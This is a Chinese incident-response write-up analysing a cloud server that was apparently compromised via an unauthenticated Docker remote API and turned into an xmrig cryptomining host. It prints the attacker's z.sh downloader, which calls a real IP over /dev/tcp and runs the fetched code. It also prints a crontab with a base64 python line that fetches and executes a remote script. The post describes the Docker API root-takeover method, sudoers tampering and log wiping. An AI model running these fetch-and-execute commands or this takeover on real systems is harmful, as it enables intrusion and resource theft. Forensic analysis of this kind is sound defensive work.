出品|MS08067實驗室(www.ms08067.com)
本文作者:500(Ms08067實驗室成員)
一、事件起因
上週想著部署一個分散式檔案系統,我就在阿里雲上申請了一臺機器,部署了docker並安裝Simpledfs,可不想剛雲主機剛配置沒兩天,就發現機器的cpu使用率飆升,控制檯各種告警。登入上去先看top一下看看系統的狀況,發現這個bash指令碼幾乎佔用了全部cup,估計是被黑了。
我趕緊去檢視機器歷史操作,通過history命令檢視歷史操作,發現內容已經被清空,日誌檔案也全部被清空,並且docker服務也被關閉了。
經過排查發現,這臺機器開放了ssh服務22埠、本地smtp25埠、sshd守護程式222埠,以及docker服務的埠。對外暴露了ssh,第一個想到的就是先檢視一下ssh的版本。
檢視該版本中有哪些漏洞可能被攻擊者利用,排查了可能被利用的OpenSSH 安全認證繞過漏洞(CVE-2016-10012)、SSH登陸驗證繞過漏洞(cve-2018-10933)等漏洞的利用方法,但並沒有發現可直接利用並獲取到root許可權的方法。
那麼攻擊者有沒有可能利用docker的漏洞,然後從容器中逃逸出來呢?這時我想到了docker remote API未授權訪問漏洞,攻擊者可以利用docker API 2375埠,通過介面執行容器命令。然後將/root/.ssh目錄掛載到容器內,進而把ssh公鑰寫入進去,修改許可權為600,然後就可以以root使用者登入了。
參考:http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/
二、我們來看看攻擊者做了哪些操作
1、攻擊者建立了一個新的賬號,檢視/etc/passwd檔案,發現新增了一個使用者tech,建立的時間是22:12
tech:x:1000:1000::/home/tech:/bin/bash
2、攻擊者將tech使用者加入到wheel組,並且修改了/etc/sudoers檔案。(這個檔案的許可權被篡改過,應該是先加上了寫許可權,篡改完成後又改回了440許可權,並配置了wheel組使用者使用sudo到root時不需要輸入密碼。)
3、隨後攻擊者下載了工具集busybox,被阿里雲偵測到。
4、攻擊者將根目錄換成指定的目錄,
chroot /mnt /bin/sh -c cd /opt/
並寫入z.sh,
echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh
其中裡面包含了一個ip地址,威脅情報資訊如下:
在系統的opt目錄下,果然存在z.sh
#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-
5、攻擊者嘗試寫入後門程式,進行許可權維持/usr/sbin/stable 但阿里雲盾攔截了該後門程式。
6、22點14分至22點47分這段時間,攻擊者kill掉了阿里雲盾的防護,並下載挖礦程式。這個過程由於阿里雲盾下線,日誌被清理。未獲取到更多資訊。
7、隨後,攻擊者下載了挖礦程式並進行了安裝。在/root/.ssh中出現了xmrig和config.json檔案,時間是22:49
Xmirg是一款比特幣挖礦軟體,可以通過匹配到的礦池內容修改相應的config.json檔案。
參考:https://www.dxpool.com/help/zh/kva-mining-tutorial
8、在usr/bin中發現了執行著的bash指令碼,應該是執行全套挖礦程式的腳步程式。
檢視下Bash指令碼的執行狀態以及網路連線情況
9、至此攻擊者還不滿足,他還替換了計劃任務檔案,設定挖礦的計劃任務。
修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等計劃任務檔案。
/var/spool/cron/root中的內容如下:
*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特幣錢包地址)
10、最後,攻擊者將系統的日誌檔案全部刪除,包括
/var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。
三、總結
隨著數字貨幣價格的上漲,越來越多的攻擊者開始利用系統漏洞進行挖礦,攻擊者操作老練,思路清晰,一看就是做過多年的老手了。
大家要加強安全意識,不要將危險埠暴露在公網,及時更新系統元件,並升級安全補丁。
轉載請聯絡作者並註明出處!
Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!